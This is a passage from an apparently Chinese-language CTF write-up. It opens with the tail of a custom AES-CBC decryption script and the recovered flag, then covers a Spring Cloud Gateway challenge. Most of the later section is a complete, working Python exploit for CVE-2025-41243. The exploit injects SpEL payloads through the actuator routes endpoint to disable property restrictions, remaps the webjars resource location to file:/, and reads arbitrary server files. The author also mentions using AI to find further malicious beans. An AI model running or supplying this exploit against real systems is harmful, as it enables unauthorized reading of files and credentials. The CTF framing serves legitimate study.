            temp = [sbox[x] for x in temp]

            # Rcon
            temp[0] ^= RCON[i // 4]

        prev = w[(i - 4) * 4:(i - 3) * 4]
        w.extend([prev[j] ^ temp[j] for j in range(4)])

    return w


def bytes_to_state(block):
    # 和常规 AES 一样,按列填充
    return [
        [block[0], block[4], block[8],  block[12]],
        [block[1], block[5], block[9],  block[13]],
        [block[2], block[6], block[10], block[14]],
        [block[3], block[7], block[11], block[15]],
    ]


def state_to_bytes(s):
    return bytes([
        s[0][0], s[1][0], s[2][0], s[3][0],
        s[0][1], s[1][1], s[2][1], s[3][1],
        s[0][2], s[1][2], s[2][2], s[3][2],
        s[0][3], s[1][3], s[2][3], s[3][3],
    ])


def add_round_key(s, round_keys, round_id):
    base = round_id * 16
    rk = round_keys[base:base + 16]

    for c in range(4):
        for r in range(4):
            s[r][c] ^= rk[c * 4 + r]


def inv_sub_bytes(s, inv_sbox):
    for r in range(4):
        for c in range(4):
            s[r][c] = inv_sbox[s[r][c]]


SHIFT = [0, 3, 1, 2]

def inv_shift_rows(s):
    for r in range(1, 4):
        sh = SHIFT[r] & 3
        s[r] = s[r][-sh:] + s[r][:-sh]

def inv_mix_columns(s):
    for c in range(4):
        a0 = s[0][c]
        a1 = s[1][c]
        a2 = s[2][c]
        a3 = s[3][c]

        s[0][c] = gmul(a0, 14) ^ gmul(a1, 11) ^ gmul(a2, 13) ^ gmul(a3, 9)
        s[1][c] = gmul(a0, 9)  ^ gmul(a1, 14) ^ gmul(a2, 11) ^ gmul(a3, 13)
        s[2][c] = gmul(a0, 13) ^ gmul(a1, 9)  ^ gmul(a2, 14) ^ gmul(a3, 11)
        s[3][c] = gmul(a0, 11) ^ gmul(a1, 13) ^ gmul(a2, 9)  ^ gmul(a3, 14)


def aes_decrypt_block(block, round_keys, inv_sbox):
    assert len(block) == 16

    s = bytes_to_state(block)

    add_round_key(s, round_keys, 10)

    for round_id in range(9, 0, -1):
        inv_shift_rows(s)
        inv_sub_bytes(s, inv_sbox)
        add_round_key(s, round_keys, round_id)
        inv_mix_columns(s)

    inv_shift_rows(s)
    inv_sub_bytes(s, inv_sbox)
    add_round_key(s, round_keys, 0)

    return state_to_bytes(s)


def pkcs7_unpad(data):
    if not data:
        return data

    pad = data[-1]
    if pad < 1 or pad > 16:
        raise ValueError("PKCS#7 padding 错误")

    if data[-pad:] != bytes([pad]) * pad:
        raise ValueError("PKCS#7 padding 校验失败")

    return data[:-pad]


def aes_cbc_decrypt(ciphertext, key, iv, sbox):
    assert len(key) == 16
    assert len(iv) == 16
    assert len(ciphertext) % 16 == 0

    inv_sbox = build_inv_sbox(sbox)
    round_keys = key_expansion(key, sbox)

    plaintext = b""
    prev = iv

    for i in range(0, len(ciphertext), 16):
        block = ciphertext[i:i + 16]
        dec = aes_decrypt_block(block, round_keys, inv_sbox)
        plaintext += xor_bytes(dec, prev)
        prev = block

    return pkcs7_unpad(plaintext)


# =========================
# 主逻辑
# =========================

if __name__ == "__main__":

    plaintext = aes_cbc_decrypt(CIPHERTEXT, KEY, IV, SBOX)

    print("[+] plaintext bytes:")
    print(plaintext)

    print("[+] plaintext hex:")
    print(plaintext.hex())

    try:
        print("[+] plaintext string:")
        print(plaintext.decode())
    except UnicodeDecodeError:
        print("[!] plaintext 不是标准 UTF-8 字符串")

flag

flag{F1n@1ly_Y0u_G0t_Th1s_f1ag_and_f1nd_7h3_TRUTH_D0_Y0u_L1k3_1t?}

app.jar Spring Cloud Gateway 表达式注入

说是从内网拖出来的.

解压jar包即可,可以看到很明显的未授权配置设置.

看一眼依赖,都比较新,看起来是没啥RCE的链,大手子有原生RCE了也可教教~

    <properties>
        <java.version>17</java.version>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <spring-boot.version>3.5.6</spring-boot.version>
        <spring-cloud.version>2025.0.0</spring-cloud.version>
    </properties>

关注过CVE的都知道去年有个CVE-2025-41243,可以实现任意文件读取和Dos利用,但是RCE似乎得配合h2那些能通过修改配置的依赖进行组合利用,原生RCE 暂未发现,也可用ai挖挖一些恶意bean,应该还是能组合出一些玩法的.

刚好符合这个漏洞的版本,以及漏洞环境设置.那么就可以实现任意文件读取.

但是本题好像给了个/analyze接口去原生反序列化,没懂怎么打,难道是想让选手去绕"X-Token"吗?

但是原生反序列化也需要对应的依赖,没懂…

给出任意文件读取的poc:

import requests
import sys
import time

TARGET = "http://localhost:8092"
FILE_TO_READ = "D:/flag.txt"
FILE_READ_ENDPOINT = "/fileRead"

ROUTES_URL = f"{TARGET}/actuator/gateway/routes"
REFRESH_URL = f"{TARGET}/actuator/gateway/refresh"
HEADERS = {"Content-Type": "application/json"}

PAYLOADS = [
    {
        "id": "disableRestriction",
        "desc": "disable restrictive-property-accessor",
        "body": {
            "predicates": [{"name": "Path", "args": {"pattern": "/dead1"}}],
            "filters": [{
                "name": "AddResponseHeader",
                "args": {
                    "name": "Result",
                    "value": "#{@systemProperties['spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled']='false'}"
                }
            }],
            "uri": "http://127.0.0.1:8092",
            "order": 0
        }
    },
    {
        "id": "rewriteLocation",
        "desc": "rewrite resource location to file:/",
        "body": {
            "predicates": [{"name": "Path", "args": {"pattern": "/dead2"}}],
            "filters": [{
                "name": "AddResponseHeader",
                "args": {
                    "name": "Result",
                    "value": "#{@resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:/'}"
                }
            }],
            "uri": "http://127.0.0.1:8092",
            "order": 0
        }
    },
    {
        "id": "reinitHandler",
        "desc": "reinitialize resource handler",
        "body": {
            "predicates": [{"name": "Path", "args": {"pattern": "/dead3"}}],
            "filters": [{
                "name": "AddResponseHeader",
                "args": {
                    "name": "Result",
                    "value": "#{@resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet ?: 'ok'}"
                }
            }],
            "uri": "http://127.0.0.1:8092",
            "order": 0
        }
    },
]

ROUTE_IDS = [p["id"] for p in PAYLOADS]


def banner():
    print(r"""
  +-------------------------------------------------------+
  |  Spring Cloud Gateway Actuator - Arbitrary File Read  |
  |  SpEL Injection via /actuator/gateway/routes          |
  +-------------------------------------------------------+
    """)


def check_target():
    print("[*] checking target endpoint ...")
    try:
        r = requests.get(ROUTES_URL, timeout=5)
        if r.status_code == 200:
            print(f"[+] reachable: {ROUTES_URL}")
            return True
        else:
            print(f"[-] unexpected status: {r.status_code}")
            return False
    except requests.RequestException as e:
        print(f"[-] connection failed: {e}")
        return False


def inject_routes():
    print("\n[*] injecting malicious routes ...")
    for i, payload in enumerate(PAYLOADS, 1):
        rid = payload["id"]
        url = f"{ROUTES_URL}/{rid}"
        print(f"    [{i}/3] {payload['desc']}")
        print(f"         POST {url}")
        r = requests.post(url, json=payload["body"], headers=HEADERS, timeout=10)
        if r.status_code == 201:
            print(f"         [+] route '{rid}' created (201)")
        else:
            print(f"         [!] status: {r.status_code} | {r.text[:200]}")
    print("[+] all routes injected")


def refresh():
    print("\n[*] refreshing gateway routes ...")
    print(f"    POST {REFRESH_URL}")
    r = requests.post(REFRESH_URL, timeout=10)
    if r.status_code == 200:
        print("[+] refresh success, SpEL expressions evaluated")
    else:
        print(f"[!] refresh status: {r.status_code}")
    time.sleep(1)


def verify():
    print("\n[*] verifying injected routes ...")
    r = requests.get(ROUTES_URL, timeout=5)
    routes = r.json()
    found = [rt for rt in routes if rt.get("route_id", "") in ROUTE_IDS]
    if found:
        print(f"[+] found {len(found)} injected route(s):")
        for rt in found:
            print(f"    - {rt.get('route_id')}")
    else:
        print("[-] no injected routes found")
    return len(found) > 0


def file_read(file_path):
    read_url = f"{TARGET}/webjars/{file_path}"
    print(f"\n[*] reading file: {file_path}")
    print(f"    GET {read_url}")
    r = requests.get(read_url, timeout=10)
    if r.status_code == 200:
        print(f"[+] file read success! status: {r.status_code}")
        print("=" * 55)
        print(r.text)
        print("=" * 55)
        return True
    else:
        print(f"[-] file read failed, status: {r.status_code}")
        if r.text:
            print(f"    response: {r.text[:300]}")
        return False


def cleanup():
    print("\n[*] cleaning up routes ...")
    for rid in ROUTE_IDS:
        url = f"{ROUTES_URL}/{rid}"
        r = requests.delete(url, timeout=5)
        if r.status_code == 200:
            print(f"    [+] deleted: {rid}")
        else:
            print(f"    [!] delete '{rid}' status: {r.status_code}")
    requests.post(REFRESH_URL, timeout=5)
    print("[+] cleanup done")


def main():
    banner()

    file_path = FILE_TO_READ
    if len(sys.argv) > 1:
        file_path = sys.argv[1]

    print(f"[*] target: {TARGET}")
    print(f"[*] file:   {file_path}")

    if not check_target():
        sys.exit(1)

    inject_routes()
    refresh()
    verify()
    success = file_read(file_path)

    try:
        choice = input("\n[?] cleanup injected routes? (y/n): ").strip().lower()
        if choice == "y":
            cleanup()
        else:
            print("[*] skipped cleanup")
    except KeyboardInterrupt:
        print("\n[*] interrupted, skipping cleanup")

    if success:
        print("\n[+] exploit success!")
    else:
        print("\n[-] exploit failed, check target environment")


if __name__ == "__main__":
    main()

没具体打到内网环境,信息缺失,也不知道要读啥凭据还是啥东东~就这样吧

参考

深入CVE-2025-41243: Spring Cloud Gateway SpEL 从任意属性访问到任意文件下载-先知社区